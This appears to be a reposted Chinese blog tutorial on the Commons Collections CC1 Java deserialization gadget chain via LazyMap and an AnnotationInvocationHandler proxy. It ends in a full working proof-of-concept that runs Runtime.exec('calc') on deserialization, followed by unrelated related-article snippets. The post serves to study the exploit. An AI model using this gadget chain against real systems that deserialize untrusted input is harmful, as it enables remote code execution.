CC1补充-LazyMap利用

news/2024/9/23 23:35:14

CC1的LazyMap链

分析了上一条链子,其实在TransformMap类那里有个分叉点,就是还可以利用另一个类LazyMap进行transform方法的调用。

进入到LazyMap类中,发现get方法也调用了transform方法:

QQ截图20240620214456

可以看到在调用方法之前有个if的判断,跟进这个containKey函数:

QQ截图20240620215313

翻译一手:

QQ截图20240620215424

也就是传入的key值是map键值对中没有的就会返回false了,这个很容易就能实现。

然后看看怎么控制参数factory,发现构造方法可以对factory进行赋值,虽然有两个构造方法但其参数类型不同先不管。

QQ截图20240620220336

这里又是保护属性,需要找一找看有没有其他地方对其进行了调用。发现和TransformMap一样都有个静态方法decorate能够实现构造方法的调用。

QQ截图20240620220728

测试一下:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;public class CC1test {public static void main(String[] args) throws Exception {InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});HashMap<Object,Object> map = new HashMap<>();Map<Object,Object> Lazy = LazyMap.decorate(map,t);Lazy.get(Runtime.getRuntime());}
}

QQ截图20240620221701

还是和上一条链子一样,继续向上找看谁调用了get方法,发现有一千多个结果,这怎么找。

反正感觉应该和上一条链子是差不多的,直接从终点类AnnotationInvocationHandle开始找,不过发现memberValues.get并不在readObjetc中而是在invoke方法里。

QQ截图20240621151605

但这里是Handler中的invoke方法,这不是很熟悉吗。在jdk动态代理是可以通过Proxy.newProxyInstance获得对象,然后调用该对象方法来达到Handler.invoke()方法。但是这怎么和readObject相联系呢?

我们在来看看在执行readObject的时候有没有什么我们可以控制的方法调用(因为要通过方法调用来转到Handler.invoke()方法),

QQ截图20240622214424

这个首当其冲就应该想到memberValues吧,毕竟这个承参数最容易控制。然后看到在for循环的时候调用了其方法entrySet(下面它的其他方法就不用看了,调用到第一个方法的时候就已经转到Handler.invoke()方法了)。所以思路清晰了,就是让memberValues为Proxy.newProxyInstance获得的对象就行了。这样在进行反序列化的到for时就能自动进入invoke方法,在进入invoke方法时,我们在通过构造函数把memberValues设为lazyMap,这样就可以调用到lazyMap的get方法,在由get方法去调用transform方法。

反序列化是这样,所以构造序列化payload就行先把memberValues设为lazyMap,在把memberValues设为Proxy.newProxyInstance获得的对象。

先构造Hanlder对象:

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor con=c.getDeclaredConstructor(Class.class, Map.class);con.setAccessible(true);InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy); //通过构造函数设memberValues为lazyMap

然后利用Proxy.newProxyInstance获得的proxyMap对象并且handler参数为hand(这样就可转到AnnotationInvocationHandler的invoke方法呢)

Map  proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);

接下来只需要调用proxyMap的方法了,设memberValues为proxyMap:

 InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);

所以最后poc:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;public class CC1test {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer cha=new ChainedTransformer(transformers);InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});HashMap<Object,Object> map = new HashMap<>();map.put("entrySe","entrySet"); //可以不用设,不要把key设为entrySet,不然不满足lazy.get条件Map<Object,Object> Lazy = LazyMap.decorate(map,cha);Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor con=c.getDeclaredConstructor(Class.class, Map.class);con.setAccessible(true);InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy);Map  proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);serilize(in);deserilize("serr.bin");}public static void serilize(Object obj)throws IOException{ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("serr.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}}

运行得到计算机:

QQ截图20240622225638

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/46693.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Git-中文参考-七-

Git 中文参考(七)原文:Git Reference 协议:CC BY-NC-SA 4.0git-daemon原文: git-scm.com/docs/git-daemon名称 git-daemon - Git 存储库的一个非常简单的服务器 概要 git daemon [--verbose] [--syslog] [--export-all][--timeout=<n>] [--init-timeout=<n>] …

Git-中文参考-二-

Git 中文参考(二)原文:Git Reference 协议:CC BY-NC-SA 4.0git-help原文: git-scm.com/docs/git-help 贡献者:honglyua名称 git-help - 显示有关 Git 的帮助信息 概要 git help [-a|--all [--[no-]verbose]] [-g|--guide][-i|--info|-m|--man|-w|--web] [COMMAND|GUIDE]描…

Git-中文参考-八-

Git 中文参考(八)原文:Git Reference 协议:CC BY-NC-SA 4.0git-show-ref原文: git-scm.com/docs/git-show-ref名称 git-show-ref - 列出本地存储库中的引用 概要 git show-ref [-q|--quiet] [--verify] [--head] [-d|--dereference][-s|--hash[=<n>]] [--abbrev[=&l…

华为阅读携手多家头部出版机构,共创数字阅读新纪元

华为开发者大会(HDC 2024)上,华为阅读不仅公布了基于AI的多项技术升级,同时也对外宣布了内容生态建设的最新进展。大会上,华为阅读同作家出版社、中国少年儿童新闻出版总社、上海外文图书有限公司、青岛出版社、新蕾出版社等合作伙伴举办合作庆功会,这一重要举措标志着华…

设计模式-解释器模式

解释器模式(InterPreter Pattern) 解释器模式是指给定一门语言,定义它的文法的一种表示,并定义一个解释器,该解释器使用 该表示 来解释语言中的句子,并按照规定的语法进行解析的模式,属于行为型模式。 比如编译器可以将源码编译为机器码,让CPU能进行识别并运行。解释器模…

jmeter---prev.getSamplerData()

JMeter的API-prev.getSamplerData() 该方法用来获取请求的详细信息 假设我的请求如下:用beanshell简单验证下获取的请求:最终打印的结果如下:

k8s安装教程

环境centos7.9 安装地址:https://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/?spm=a2c6h.25603864.0.0.4a85f5adRRKnVY服务器要求: 建议最小硬件配置:2核CPU、2G内存、20G硬盘。 服务器可以访问互联网,会联网下载镜像 初始化配置: 关闭Selinux sed -i s/enforcing/di…